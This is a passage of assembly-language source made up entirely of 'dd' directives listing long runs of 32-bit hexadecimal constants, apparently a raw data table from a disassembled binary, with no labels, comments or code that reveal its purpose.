		dd 70EE8C07h, 5C32D374h, 3EBF5A17h, 0D6610EBBh,	85EFB2E5h
		dd 0D9CB80CAh, 7F012126h, 8F7C462Eh, 0C0249E63h, 4327025Ah
		dd 0DD7AEB01h, 19990CC0h, 81C09249h, 0CC8132B8h, 0F6115C0h
		dd 79276C97h, 51F73918h, 0EC00E35Eh, 352209D3h,	0BAE09341h
		dd 3ED4DD84h, 278C917Eh, 7128572Dh, 3A7F81C5h, 24A1B1F0h
		dd 87E08253h, 0B088E4EFh, 0E94D13D6h, 0DB254C09h, 0A6800069h
		dd 4CBAF7AEh, 0CD00541Bh, 0A7EB7B10h, 520AFE27h, 0B42BDA1Fh
		dd 9D1A800h, 0CFDC94h, 50692953h, 4D1A42D4h, 82FA787Ah
		dd 0EFBB7D06h, 0B0684Ch, 0B134EE4h, 0D6A7CD36h,	0D32C8800h
		dd 6D54E07Fh, 452000B5h, 0DE5EB969h, 82006A8Eh,	31CFAA5Fh
		dd 17BE1B21h, 80026C4Dh, 0EAB7720h, 398D5400h, 0A00612C4h
		dd 80CF0032h, 45784B6Ah, 97001A75h, 37895544h, 0F49C4CF7h
		dd 0A488B6D6h, 0FDCA007Dh, 0C73F4BAAh, 0DF6E1D17h, 0E06B500Eh
		dd 4FC50C3Bh, 0CD650304h, 0B843F68h, 2464DCF8h,	82020A03h
		dd 0F01874FDh, 166A92h,	0E6F853B5h, 0B62C5D56h,	0D230AF00h
		dd 10BD48EDh, 76340072h, 91C59B80h, 0B900B4BFh,	12759D15h
		dd 12A08DD2h, 2A7CEF0h,	0C5F16FFCh, 316B4F40h, 0CBE13500h
		dd 0FC9F9663h, 82B800A5h, 0BEDF48E8h, 0F01286C5h, 0FC1CAC49h
		dd 23124C40h, 30EEE1Eh,	0DD462A27h, 71D8A0DEh, 834952BAh
		dd 3A421C14h, 5A40829Eh, 6DC36955h, 1CACE697h, 0C750F961h
		dd 0D0FD67BEh, 0DAB125AAh, 2849CD17h, 0B50E7F00h, 6413A7h
		dd 7EE0D4F5h, 1D79CF45h, 65233A00h, 0BDA4C9C5h,	0AF8EA006h
		dd 5F9E002Dh, 0A5ED3696h, 7F007B92h, 0FFAD1B7Eh, 0FC6629h
		dd 0EAEC2183h, 0BF04B810h, 586C8702h, 0D8EB9D34h, 0A6CD0800h
		dd 0DA002CCEh, 0BDCB1FD5h, 0E27151h, 70A1C8D6h,	0F987A723h
		dd 60918550h, 7A43CA02h, 40AFB1ADh, 1E04527Ah, 0C9FD55C3h
		dd 670086DFh, 17AA6135h, 51801300h, 0A24F0F84h,	2E69003Dh
		dd 0D9E83EB1h, 9300C7CDh, 92E9D21Ah, 186EC2Bh, 45732238h
		dd 3062E01Dh, 0B509C032h, 0A88076Bh, 0C91F6FD8h, 57106C0h
		dd 0E4E2DE29h, 914A0083h, 0BA1C85C4h, 0B09E69Dh, 60F78BB0h
		dd 0DA5690h, 92DF4F78h,	0FE05B118h, 80F30A3Fh, 6264DE5Ah
		dd 4A2A5EB8h, 7A48DADh,	90E9C4F6h, 0A54E0D6Ch, 2308FD1Dh
		dd 377EC040h, 0B511E4h,	3A25CE79h, 6E99988Dh, 62D16000h
		dd 17FB43C6h, 0DC370083h, 0C8DF3239h, 0CF01D218h, 6972B140h
		dd 0D0E45F14h, 50B30042h, 0EA2AFB58h, 263FEC1Eh, 0B0AB0032h
		dd 0BF876C29h, 0CFAD1377h, 0C03003Ch, 660473A3h, 7BE59F3Ah
		dd 196F3F00h, 1542557Eh, 724E0013h, 0A3A5315Fh,	60005971h
		dd 0C892E7A1h, 48DE97h,	0B7CC0EEAh, 91E35351h, 170078E6h
		dd 4CFA395Ch, 163AD3Eh,	7E87A2C8h, 701D6526h, 71022028h
		dd 4806252Eh, 1BB48090h, 2B515Eh, 5528165Bh, 0D940F99Ch
		dd 0B8EC1C00h, 71A530A4h, 0F437D97h, 59A7EE23h,	3015E6C7h
		dd 0B65279F4h, 4CD3900Eh, 77CDE026h, 133D975h, 9386032h
		dd 20B334ACh, 11022FF4h, 0A1CFEC49h, 4530E8BAh,	0E4E000DEh
		dd 76B73CA5h, 0AF3CC15Fh, 0CDDD80F6h, 381A16D1h, 0A9450991h
		dd 406827E5h, 0D3004CC1h, 0ACAA0E2h, 6F13C8h, 0ED42F82Fh
		dd 8064E824h, 0F312A600h, 0BE6966A5h, 25D00092h, 0FEF56249h
		dd 800AE2Ch, 0EF4B73ECh, 31FCA51h, 8D17319Bh, 0A2907118h
		dd 2F02F25Ch, 0C5131A83h, 1610402Dh, 9656243Bh,	0D00E00F4h
		dd 83E1BE98h, 3242B801h, 24C7573Ch, 807420h, 3A966E14h
		dd 0E17DA64Eh, 0CF00C894h, 0F6342324h, 9D74BDEh, 0B00444F4h
		dd 3CAC76h, 0BC83AE2Dh,	1E650AB0h, 0FAF55ECFh, 0A9A86800h
		dd 0E68FC9E4h, 2F00787Eh, 187F54C4h, 7DEFD5h, 0E1019D17h
		dd 35C5AF06h, 2956A20Eh
		dd 0D0DF0AC0h, 0A5724903h, 7ECB005h, 0B262000Eh, 0AE43C5C3h
		dd 21287E3Dh, 0B126B0B9h, 910017A3h, 0F4334FB0h, 442A0015h
		dd 0FEF1E449h, 4B0050A8h, 8725E19Ch, 0B5913Bh, 0D73C021Ah
		dd 0D588E34Dh, 0C6C7741Eh, 522B4841h, 0A2FB412h, 438CB0E0h
		dd 0FECA9342h, 3C00885Ch, 4359BDB4h, 1FBC2C64h,	0FC60003Ch
		dd 9AFFA9E5h, 80DDD106h, 7049DB6Ch, 0EA450023h,	6521DC9Eh
		dd 0FA00DEFDh, 0E0ED9918h, 0B6F7F1h, 47A751C0h,	25875829h
		dd 63328900h, 0BC568C46h, 719E2EF2h, 9B79013Eh,	30406038h
		dd 0CB798A24h, 0F95FC638h, 9EF8FA58h, 18DA3A89h, 35B163Ch
		dd 732C127Bh, 0F1C010E7h, 0D9146779h, 0B8BD9Fh,	0BCAD48B1h
		dd 0F546D7C9h, 6AE94980h, 516341AAh, 0DE84360h,	2CFE53CAh
		dd 5230482h, 0C0F044D0h, 0BFA04241h, 0CDBB5B00h, 8139AB78h
		dd 203E0041h, 164F442Eh, 0AD077D7Bh, 2812839Dh,	2CE7CD50h
		dd 2AE8166Fh, 0CE8A90CBh, 73004D45h, 0D005F3D9h, 0C1DE9Ch
		dd 0FAD2B2D5h, 8F03998Dh, 9868350Fh, 0CDC31CAFh, 0D83B2E83h
		dd 7F1FB83Fh, 0DAF202A2h, 9242C165h, 0C2627860h, 14E1DF02h
		dd 8030ACC0h, 0B9C6B7CCh, 0E0971DADh, 92D34035h, 815A878Eh
		dd 0AA032492h, 60DBF650h, 483BF8C0h, 6AECE79Dh,	0B56F0E7Fh
		dd 10209708h, 6BFBA33Ah, 0CC3D2E28h, 0F8DA4E0Bh, 42E08702h
		dd 0E83BC1B2h, 2470CD90h, 95A053E3h, 7424A8DAh,	0D9BB3B46h
		dd 6DA00980h, 0DE967C6Ah, 2604457Eh, 76F24851h,	0B82810B1h
		dd 0CD23400h, 0D3EE0668h, 229CCE00h, 0D8B803C1h, 0AC7F1D3Fh
		dd 8EF40188h, 0EC6B4C64h, 5000B602h, 87D30BF7h,	0EC95BBB7h
		dd 0A6E602D6h, 3D35B19Dh, 0AB2B8C80h, 860EC951h, 0C0454CE4h
		dd 0BB300819h, 0EB680037h, 4AC8B183h, 0E3C3F8Bh, 6EDA8070h
		dd 0D1EE50D0h, 8D2B39BBh, 8EE26A00h, 0ABE0B957h, 0B861FC00h
		dd 5091B3D2h, 9FD4A25h,	450392F4h, 86A0CAA7h, 6A00ABFFh
		dd 0FE36439Eh, 6EA56Bh,	3784F715h, 888130A6h, 0C7534400h
		dd 4B6B3F2Ch, 2EA100AFh, 565ED2C6h, 7603BE48h, 0FFB5D49Fh
		dd 54EDB0DCh, 7A78C4h, 1834ADC0h, 2715AAD7h, 1E9C3C00h
		dd 0CBE25B9h, 0B14707BFh, 0F0E5C9C7h, 0E99B30F1h, 0D4A22201h
		dd 71C81CBDh, 0EAE488DCh, 765D0116h, 9A6753C5h,	0DA86F032h
		dd 0E321070Bh, 0B2E08085h, 0F25AFE02h, 2BB50087h, 0F280BECAh
		dd 0E7009A90h, 0C7368A43h, 0E262D823h, 98790030h, 151BA8C2h
		dd 0E000CA2h, 0DFC1316Fh, 10C9DCC6h, 2ADC448h, 31F8FA9h
		dd 0BCE050DDh, 242C0018h, 0D6F7DF0Bh, 0DCCF6C02h, 0E035133Fh
		dd 117CD04h, 50B5E5EFh,	0E8B2EBBBh, 38B0AF4Dh, 53EA7CE0h
		dd 9C9BF109h, 7FE80043h, 0C68A6Ah, 0FFCD2C33h, 0EA90E5C4h
		dd 30CAA300h, 642E0E62h, 896916EBh, 9FA009Dh, 904E85BCh
		dd 0F80F154h, 0E0537B0h, 6369878Dh, 0B2236080h,	570BA01h
		dd 0CEC66665h, 50ECC06Bh, 0F002EC7Eh, 0E843A52Fh, 0A460C1E0h
		dd 0CE0230h, 0D3238C4Fh, 3120F45Eh, 530EA000h, 0CFF9FE41h
		dd 37F10097h, 0D78F8552h, 6BE8141Ah, 0A81ED8B0h, 97035F4Ah
		dd 0F9FF802h, 0BB3F2698h, 900A56C0h, 0A20072A3h, 0DD28FC98h
		dd 1F9745Fh, 3E1788BDh,	0E44F2412h, 0CE00A2F2h,	0E2EC7DAh
		dd 8B8DD2h, 85E77139h, 6141D59Fh, 31D3E512h, 2D916840h
		dd 1423BBF2h, 0E97C8249h, 710F1300h, 64585AD0h,	56ED1400h
		dd 0B37E010Eh, 467128h,	782BE1D9h, 6291DE0Dh, 505122Ch
		dd 9FEB0Fh, 22E1BCA1h, 997FF0h,	0FC23F319h, 0B12A8D5h
		dd 0F8948097h, 35FFB3h,	0F9BCDFC6h, 9DA4309Bh, 6599C400h
		dd 94C34A09h, 0B01C1F7Ch, 0D542C061h, 0F59C5B21h, 0B2780200h
		dd 0EB385776h, 0E67D0036h, 459DAF51h, 0FB00D7D3h, 0A8FFAE21h
		dd 764C6D9h, 0E529CB05h, 0E34220BAh, 5C00862Bh,	3F07E41Ch
		dd 1D6E35h, 47AD8228h, 0E6BC3E54h, 4D8FC701h, 0A834EEACh
		dd 71978D8h, 1BEDB437h,	5EB871ECh, 0B0B9708Dh, 7FF02600h
		dd 2CE81FBDh, 18740021h, 0E4EF2D86h, 0C200ABA2h, 310F08D0h
		dd 51BB820h, 2702B4B6h,	9DD4B0EDh, 1D2AD600h, 69155DC9h
		dd 82D0B548h, 79C20C00h, 0D30F545Fh, 398A0142h,	5C4C19FAh
		dd 60DBFB4Ah, 9A738800h, 34DCED67h, 27BE0070h, 0EE9C026Fh
		dd 0B04F80Dh, 0C12023AAh, 67A158D0h, 0E0909813h, 946505A5h
		dd 0E03B74E7h, 8D1C7E34h, 0F6C42D8Fh, 0EBC07720h, 4C2281h
		dd 0A9F351EEh, 93DF6710h, 7D85AC00h, 9B2D7532h,	12D7F0AAh
		dd 0B0280A5Bh, 55732740h, 75859738h, 0E4F1A7Dh,	15142C05h
		dd 584454D1h, 0ED03646Ch, 28C5C4A3h, 381DE3A8h,	87B1DA3Fh
		dd 2B1B916Bh, 6AB26970h, 9DC00085h, 0C24D09BFh,	0A8001062h
		dd 0FF87A1B4h, 1FD5007h, 5263F374h, 0FCCEAFCDh,	25124CBBh
		dd 60C79CAAh, 0FEA60C21h, 0FF05B83Ch, 0B4EFF937h, 3ED77CCh
		dd 0E829F02Ah, 3E500090h, 0EABFEEBDh, 72390388h, 17ED071Fh
		dd 50703237h, 13CCF4F2h, 401ED7B3h, 0E4569518h,	59605178h
		dd 0D0A97EE1h, 6B21C28Dh, 94A7F264h, 37A14034h,	0B8B6982Fh
		dd 1C89C000h, 0A45B0Fh,	0AFF3BA3Ch, 8A0B9428h, 1DA1796Ah
		dd 0B74E660Eh, 371EB205h, 168ABC0h, 174A5Ah, 5502BB88h
		dd 0A426A2D0h, 70309467h, 0CC9F65h, 4DCE7EB7h, 0BCDA3B0Bh
		dd 34517008h, 0F84380BAh, 68734B1Ch, 0C5ADE800h, 0AC8810CAh
		dd 754FF2h, 44FE5ACh, 290069D8h, 5359D6F1h, 1F510540h
		dd 2611DE2h, 0BA55E5C2h, 7B7024F8h, 700C99C9h, 89C81DC4h
		dd 0CB9CC08Dh, 0C14884CFh, 7CB54700h, 0D9A2932Ch, 66090BE8h
		dd 0DA833946h, 11E0CCD4h, 0C50F7AD8h, 0E02EDFB1h, 145E4418h
		dd 3A570008h, 40A1C2E5h, 0C0F2018Ah, 47E48h, 0D8807DC5h
		dd 5CBBAA32h, 3A137417h, 0DB440A9Ch, 9A1A80C4h,	3E4E0F44h
		dd 23EB0300h, 9CE597DDh, 30670062h, 0B65514BAh,	0C9039EB0h
		dd 0D10EA79Fh, 4041F225h, 85F498h, 1474CDF2h, 3680084Dh
		dd 57BAE900h, 1A8447AEh, 0A44A006Eh, 0D1C2AA54h, 0B0123D12h
		dd 70082F2h, 0C7BAFB43h, 6FA90050h, 527D6E18h, 47E4342Fh
		dd 0E901147Dh, 28D94AE4h, 4960A477h, 7E5A12DBh,	6194A1EBh
		dd 84B05735h, 80BD03h, 491FA721h, 49BF984Eh, 0F20B4088h
		dd 0D80067E8h, 36EAE73h, 660CF300h, 16DBC772h, 0BD8C3839h
		dd 0F043BCh, 5132FD5Bh,	61318BF7h, 39EE6403h, 0F0D27F24h
		dd 5CBE9A5Dh, 0FA00655Fh, 922990E9h, 6A1CF1E5h,	1DC0D155h
		dd 54EE7C37h, 0F9730084h, 182D38D5h, 0C8037BFEh, 0B7A57962h
		dd 3EA298BEh, 0D232031Eh, 0FA61F925h, 0C38CDA80h, 0BC5BB400h
		dd 18E08F43h, 85F800C0h, 36E544F5h, 6D0001FDh, 162982CEh
		dd 58AA432Bh, 9F002208h, 1CC4444Fh, 0DB7C4E7Ah,	996F7201h
		dd 9413298Eh, 6883F4h, 64B885CBh, 60312DD4h, 72C6DD00h
		dd 7F162FEBh, 0A7F10058h, 0D86AE091h, 59301E6Dh, 0C3FE194Ah
		dd 548B0045h, 9F12043Ch, 1E0413A5h, 0C7C4E6Ah, 1130C680h
		dd 0DEFD39BEh, 4F283400h, 9CF64680h, 77526100h,	4D9DB215h
		dd 6A170063h, 826F2AC7h, 34C0EE04h, 7A28302Dh, 88090501h
		dd 39CDC38h, 9712C1E5h,	54650FF8h, 0DEC048DFh, 50CCC6AFh
		dd 0A07E608Dh, 96FC9155h, 1E44BB00h, 56364F08h,	0AC120C03h
		dd 0F9305A48h, 7204B300h, 0CF7BDC18h, 0F7650063h, 0A42D1ACCh
		dd 0A5381595h, 934880AFh, 842BC33Dh, 73512859h,	60F7A98h
		dd 79076569h, 0D777E0C7h
		dd 0BCA0580Fh, 0F11DA2EAh, 0D4CB00Eh, 0FFFA15B2h, 5701A4F3h
		dd 0AFECA3E0h, 0E610837Dh, 833113CBh, 0B17C41h,	6D052F82h
		dd 47B9AF9h, 0B56AED03h, 0D0F6D1B8h, 1F24446h, 0D526F17Ah
		dd 0F5C617E9h, 993C302Eh, 0C20B6400h, 81E52FECh, 17F50397h
		dd 0CE392D8h, 7C46B9F8h, 37AE7700h, 10309160h, 0E62F0207h
		dd 0C0B09344h, 0E9A1C560h, 424E0D00h, 40FBB2DEh, 13ED1F16h
		dd 432ADF53h, 99D00B5Dh, 8ADA90BFh, 9300C502h, 0FBCA21Eh
		dd 709E6A88h, 7F8700ECh, 1D376838h, 0F32A69BEh,	0E500E4A5h
		dd 9AB1740Eh, 24A481CDh, 0E6C53D5h, 0FCE0F19Eh,	0E7A34C38h
		dd 87EEAD00h, 0BC8A6370h, 17E100FFh, 0A8D71DA0h, 431D9237h
		dd 2E41676Dh, 0F38E1A7Fh, 189B1F60h, 882CBEEDh,	60066E5h
		dd 70A678Dh, 0E2B89h, 0DD25D465h, 0A387D3AFh, 0F1A9D500h
		dd 0C3E11D5Fh, 938600DAh, 0EC6A693Ch, 4700F668h, 0D0F12837h
		dd 841307h, 71E6B6EFh, 3856A52Dh, 10E71A00h, 0B39996C1h
		dd 2780068h, 1F55F812h,	0BD90C33Ch, 0FD280B03h,	805ADC27h
		dd 0A9BF9Eh, 6209F2C1h,	88BDDB39h, 38A87000h, 52D6BBC3h
		dd 0D51C0969h, 370021C0h, 23197E1Dh, 0CD908100h, 544980E3h
		dd 97731DDBh, 0BCBA80CEh, 0C80EC501h, 0A41E3A00h, 348C7EE4h
		dd 7A940022h, 6BDF628h,	3F98841Ah, 1CD76D00h, 0EF6AF404h
		dd 7BB300ABh, 0F0542C91h, 793AD978h, 3F9F00A9h,	0B5EDB2F1h
		dd 0B9FE62h, 54B8B0E8h,	74336CC8h, 0C2000B7Ah, 0CA24762Bh
		dd 0A375F4h, 0F7E7D412h, 87DB8B22h, 63FED1Eh, 0E3986B80h
		dd 0E421FF6Eh, 0D6500095h, 743538A3h, 10F25C8Eh, 57F9FE00h
		dd 3741DE16h, 0E039169Fh, 6540096h, 0ADE2F64Ch,	94F6148h
		dd 0C1A48Ch, 402D2415h,	26420043h, 0C0CAB216h, 0D100A012h
		dd 3027A38Bh, 2EC9BC2Eh, 0AC6AAEh, 4CB7CB84h, 9600EF53h
		dd 0FDDDE4E0h, 34EEF2h,	91BAD9F7h, 54FF0583h, 1EB94E00h
		dd 0BEE506AEh, 5E19009Ah, 98DC521Bh, 550F15DEh,	0C5480BBDh
		dd 0C3809D65h, 3EAFCE7h, 4D978846h, 8E885BCDh, 0ED008DC6h
		dd 4733407Ch, 3D4C85Ah,	0F2574944h, 0BED85139h,	7B065F25h
		dd 12636A06h, 7C380FC8h, 46C06526h, 8C1DB04Ah, 0BBB8F00h
		dd 0A85EF170h, 133E00D4h, 0D8F9D5FEh, 0E3004E01h, 3862BF30h
		dd 663CDDh, 0AF24BC77h,	0AA08E0A4h, 0B7487D79h,	70703D69h
		dd 94DAF200h, 0B2738E87h, 2BDF0012h, 0FEBC17Fh,	0B9E04D43h
		dd 47852A07h, 1980B541h, 73A13ABFh, 0DB24302Bh,	9DBE9212h
		dd 6036AD17h, 0F8CAE00h, 0E39BCFC6h, 0EAB012E4h, 6F2F1426h
		dd 140084C1h, 0B9DF1036h, 0BC00B4ECh, 15D9F368h, 17ACFF1h
		dd 9ABBA0C7h, 0DE6DB027h, 671AEDE0h, 805F323Fh,	44199E8Ch
		dd 0AB4633h, 0E0FD662Bh, 616B1FC9h, 88AD8E00h, 0F7E1804h
		dd 5B790029h, 89AE084h,	0A8005954h, 55332DC9h, 4FFDAFEh
		dd 0AB964210h, 89C4AB4Bh, 738F201h, 0C9F4DE66h,	0F56A1D97h
		dd 2806C1A4h, 0C48A99C7h, 0AE24A534h, 0A6001EE2h, 6E7876C6h
		dd 1E0A0021h, 651D0382h, 940EDE23h, 6014D9DDh, 0A6C92733h
		dd 48AB002Ah, 973E3BB3h, 3A1ECDE3h, 5E40B667h, 0E576D8C9h
		dd 0EF880070h, 0E47E2051h, 112D571h, 0A4008CAFh, 613E33A2h
		dd 925500BFh, 47F36B15h, 1D004CB9h, 12A5A79h, 1A08D9h
		dd 0FAF4488Fh, 4593D4A5h, 228BC400h, 0E7116A5Fh, 85900189h
		dd 4938EAF1h, 0E9B0CCBCh, 0CB740C01h, 0EF470B09h, 24C1F8h
		dd 0DEAA73ACh, 0FB3E0FFh, 1A5C7A00h, 0F27D3620h, 784C0086h
		dd 0F12B5948h, 69485051h, 8D77004Fh, 76EE139Eh,	0FAD900EFh
		dd 86BE17AAh, 8F00D4F1h, 4C35335Fh, 2B2432h, 0EA674FC6h
		dd 0E9827039h, 0B2F81800h, 593F266Fh, 0E8A245Bh, 1E803CCCh
		dd 360C75C6h, 0B400DE1Ch, 7B2BA7E7h, 3E5480h, 5F873B9Ch
		dd 83C6C48h, 4342C200h,	0DA0AEBBEh, 9FFB1CBDh, 2B7AC0D5h
		dd 3AE7BAEFh, 0F871CD01h, 736EC99Ch, 707D70h, 1CD104D9h
		dd 5374E095h, 0B44D1100h, 9DF7878Fh, 0FCBF00ACh, 19CA386Fh
		dd 1F2440CDh, 3F126CFFh, 4182100h, 5CA48083h, 3C000741h
		dd 0C11A0A0Dh, 1F4C6327h, 6CA909C6h, 0B5358591h, 0F7DBEA80h
		dd 867B02E2h, 0CC537F83h, 306E1060h, 0D072141Eh, 0C66090D8h
		dd 532E26A2h, 58BA8028h, 0E28616AAh, 46F5A90Ch,	1DA1832h
		dd 0CE2F71E5h, 40DE07A7h, 90AFD018h, 48A61220h,	0A20062E0h
		dd 0DD7B7C22h, 49005461h, 5ACEC92Ah, 6E5BF5AAh,	714051E6h
		dd 91E2566Ch, 28A889C1h, 0F980CE7Eh, 9DE734C1h,	313D9647h
		dd 1658D0D6h, 5B3583Dh,	84D07F14h, 0DF0C0C05h, 0F5D44C00h
		dd 7450C971h, 20F65292h, 0A0403407h, 0A1C5905Ch, 26902E2Ah
		dd 3245FE07h, 9E20F26Bh, 182B3696h, 293A513h, 70002E14h
		dd 8DB38A62h, 0C7F9C983h, 5140CE18h, 0F9C051A9h, 13B9E07Ch
		dd 0ED6045E2h, 912E0F20h, 8A78C0ECh, 9C4D94A1h,	9E305A60h
		dd 165E90F5h, 0C4F1E92h, 181837C8h, 9761E0B8h, 0FB63C40h
		dd 79086BE0h, 0D07F61h,	0C04C60BEh, 0CAD33A8Dh,	0E94798A8h
		dd 0C89C1B02h, 0A654746Bh, 3C099884h, 89612E3Fh, 846F8318h
		dd 8A2F6951h, 0F81BC3h,	0FBB010D1h, 9D8EC0A3h, 41C1ED30h
		dd 6AA0D08h, 6711F35Bh,	6D015842h, 109A93FCh, 2898C3F1h
		dd 0D9B89894h, 0D3D624h, 48EC9C00h, 0C3A2D0h, 8E69CC38h
		dd 600911E6h, 2E442C0Eh, 341340CDh, 7330ECEFh, 9DA600C6h
		dd 0DAEE1542h, 0B4003E1Ch, 6F6BA998h, 1D16F6CDh, 80219534h
		dd 0D2864EACh, 2900D1A2h, 9B189FF5h, 1C9280C4h,	31EC55Dh
		dd 0A9902BFh, 47A53190h, 0C925401Fh, 74CB9C79h,	2E38A740h
		dd 197A3Ch, 304FE2DFh, 23F64505h, 0B0D8300h, 6C12EB1Ah
		dd 264604EFh, 0C09C53E4h, 315CF2AAh, 996E8300h,	0A32DC042h
		dd 0A1E0048h, 146C5862h, 0BE06E6CAh, 0F2E2C6F6h, 0A6A47C40h
		dd 42031804h, 6D171039h, 0CD58E500h, 0E15C9BDFh, 89EA46h
		dd 3B9CA1Fh, 69A29741h,	0D7351618h, 885B3729h, 4D891CC8h
		dd 12AAC909h, 60991023h, 4019CB40h, 31006D96h, 7FB38918h
		dd 15795CDh, 784A5270h,	6064F344h, 4009095h, 0A463EA5h
		dd 0E68FC5h, 95FDEC27h,	3FA76DCBh, 38B6E303h, 0EBD5026Fh
		dd 580AA941h, 0E3F499F4h, 394BF180h, 0C5F29804h, 5EF09401h
		dd 0FC88C0D1h, 264C1F70h, 0C44118h, 24999BB1h, 6B003CF2h
		dd 8A2793B5h, 0EF66676h, 34619FD8h, 99192580h, 580FD301h
		dd 8011292Dh, 0E49A1FF1h, 0D95E0010h, 5544792h,	4AE88818h
		dd 0EAD3DC07h, 43D0A08Eh, 248FF00Fh, 18426EACh,	71703E3Dh
		dd 63DC0E00h, 93676BABh, 0C97E1698h, 3600ABBDh,	6C13CE83h
		dd 0ADED0027h, 39F1CFBh, 5700AA0Fh, 34553804h, 5CBD987Dh
		dd 6E0F6B6Ch, 8054064Ah, 0A8E3A700h, 0E6138E91h, 7713F07Dh
		dd 97009DD3h, 6C5FD2A3h, 103E07C1h, 30BCDC14h, 928C4161h
		dd 0EA77F900h, 83EF2916h, 54CB3057h, 0E6C20AA8h, 9BB6D03h
		dd 0F06BA7DCh, 0F8EEF0D4h, 0BE190F92h, 0E02FD8DAh, 918D0B01h
		dd 3877FCE3h, 3A0ADF00h, 146A4E32h, 9B9900B5h, 98A9784Dh
		dd 0A3A08BA2h, 0E8006542h, 0CBD1620Fh, 0FE8628F2h, 0F14607C7h
		dd 50B62CD5h, 6DCC09ADh, 3C198101h, 0B5CFD2DDh,	71D61F0h
		dd 71A50D2Dh, 0CE01C087h, 6E032438h, 9D4D20FAh,	8ED7981Dh
		dd 0F7E60228h, 3B67A648h, 0A8DA9480h, 0F500C1D1h, 9CED8596h
		dd 1D82E4E8h, 0DD0ADC80h
		dd 3C2840A2h, 421E61F2h, 0B9131200h, 6CB40D5Fh,	5EDA0003h
		dd 53F91CF7h, 62123ABBh, 480054C5h, 0BDD17F70h,	4DA2007Ch
		dd 0BEF1447Bh, 310E19EEh, 0AEEC93E8h, 41016566h, 0EF3DC040h
		dd 3D7F36Eh, 0DE9EE42Dh, 0DBC8B45Ah, 22B8D426h,	0F1DA081Eh
		dd 0D0366000h, 0DCD7CCh, 34C45316h, 66ABFF4Bh, 6B954F00h
		dd 7173D54Dh, 0D0F2006Fh, 0DF99FD20h, 0B800D691h, 0F9DDDB8Fh
		dd 8ABC9Ch, 0D3FEA645h,	5A234CBAh, 17EAE800h, 7F9F4D67h
		dd 2DE300B6h, 0D66B2104h, 0D42D4C65h, 8B7CC1h, 7F9BE39h
		dd 0BC0F4324h, 0C62A4h,	59FF356h, 61330B90h, 83FFE9A6h
		dd 0F0520E2Fh, 7A5A7006h, 399400A0h, 0E4EAA9E0h, 55022511h
		dd 689F8D08h, 0B08F439Eh, 0A0C8AF4Dh, 396CAED6h, 8B005C3Bh
		dd 0DCE778F4h, 0AB01A476h, 6AAD745h, 0E8403A7Eh, 26C9A0C2h
		dd 0F1E3D9h, 1CE087E5h,	747DA89Ah, 184A3407h, 6E905443h
		dd 3A5AB6h, 0DCF7514Bh,	0C21B056Ch, 0B46F5600h,	5253A8E4h
		dd 0A0FC760Ah, 441648E8h, 8F2412E9h, 8704F15Ch,	908042ABh
		dd 797024Ah, 9C04155Dh,	0D9F3007Ch, 0CA00EA47h,	966D1C90h
		dd 1D6788DEh, 2427DF78h, 9C16800Ch, 55EBAD03h, 1DDD5000h
		dd 6A1A604Ch, 0C5120097h, 51B8133Ch, 0EA584189h, 4514002Dh
		dd 0EE239AC3h, 35EE6A4h, 0DCDD4886h, 0A9F05142h, 9B002DFDh
		dd 225C408h, 50EF9A44h,	529035h, 73495971h, 17550CBFh
		dd 0AADAF00h, 2330833Bh, 0D3AB00D5h, 867E68C4h,	9C0788CAh
		dd 3DAAEA26h, 0E7538BB0h, 76A40179h, 98C12378h,	0BF0EE62Dh
		dd 0E1A05950h, 4E036140h, 0E670C818h, 8BAFD05Dh, 0B3D50931h
		dd 58A0412Bh, 8535E23Ch, 1AEAB503h, 1EE53E75h, 0A4877C28h
		dd 954E057Fh, 93ECC034h, 9100BCD2h, 15478E31h, 67207Ch
		dd 47A017Dh, 0C35C942Bh, 8876AC00h, 0AEE28F06h,	28720FB4h
		dd 0D30989C9h, 60438300h, 0E0007110h, 1BE678C7h, 372F35Ch
		dd 1A01DF7Ah, 88A1CB56h, 2089E992h, 45008729h, 3F2D0C47h
		dd 70B42C15h, 4C9EC5Eh,	4DACE0A5h, 0BA1A8241h, 0D95C40C0h
		dd 0FC83D400h, 0A0A77067h, 4889001Ah, 6AABBE47h, 4B1D6CD5h
		dd 8589A40Ah, 0A5108108h, 58CC6921h, 48F71DDh, 2201E5F6h
		dd 2BD4D041h, 7EEE6065h, 0E229B300h, 0DDE68CF6h, 724400A9h
		dd 742BBA99h, 1003376h,	0C0E27A5Bh, 64F24Eh, 8BA939A3h
		dd 0D504D763h, 9553C507h, 0F610F5EEh, 1C4A278h,	1850FB8Ah
		dd 0DC6DAE59h, 0F7712A01h, 0EE2E3400h, 47E7B332h, 546B01F3h
		dd 0B96605C8h, 16F9DCC4h, 0A69D8900h, 6340BBA1h, 0F47CE8h
		dd 0E5AE30B8h, 0F5449ACBh, 0FA4D1200h, 62485E2Ah, 0AC453E77h
		dd 68996587h, 0B8AFD3F8h, 0E34D3681h, 9E071800h, 0E9829A0h
		dd 0C8374057h, 801E263Fh, 6953EA59h, 18D6D57Fh,	200311B9h
		dd 250FB097h, 0C0F58ACFh, 5305DCEAh, 2A7604E8h,	936A1FCCh
		dd 0ED98D638h, 920BF1B5h, 9BE171h, 8BC86E4h, 5EA005B7h
		dd 440547Ch, 0EA461A91h, 29632180h, 75803C0h, 20F35AD6h
		dd 3EA7FFF8h, 48C81E3Bh, 7A2C0884h, 6908C7C5h, 9839EF81h
		dd 0ACBC20EAh, 72C0BB58h, 92750B00h, 0F1F96BDh,	85C904CFh
		dd 0C499FE8Ah, 3B3FC0FCh, 0C20078EBh, 58CE8C50h, 0F4F47A5h
		dd 5D99455Ch, 52EC11E0h, 574D5465h, 0EE1A0058h,	0F22C494Eh
		dd 0D8A10024h, 0A7251C03h, 677E3355h, 78CB1400h, 75158DBEh
		dd 36AB3B44h, 0EB1B6500h, 3E2D8449h, 4327AA00h,	77EE3BFFh
		dd 3A700FF9h, 46825FCDh, 87C0C649h, 39002B54h, 0C47BD48Bh
		dd 53E575h, 0AC6C9ADAh,	23850B1Fh, 1CE14637h, 68198D20h
		dd 355400E6h, 640D7A0Ch, 7076309Bh, 7CF4D9F4h, 29454E00h
		dd 0B774D27Dh, 202502B9h, 4749B475h, 90F2DC80h,	931FE979h
		dd 0B7561FDFh, 58AA8400h, 445324h, 64F3487Ah, 6AA65E8Ah
		dd 41BB2A00h, 0F55CCC07h, 6F2002Bh, 9894C49Fh, 3A146243h
		dd 3EDCF80Ch, 0B879B8B8h, 78A00019h, 0E7201D0h,	0B63C0039h
		dd 0E285529Bh, 0B0AB8DBAh, 0C5F04DE3h, 0E1007EF5h, 55CBEFB0h
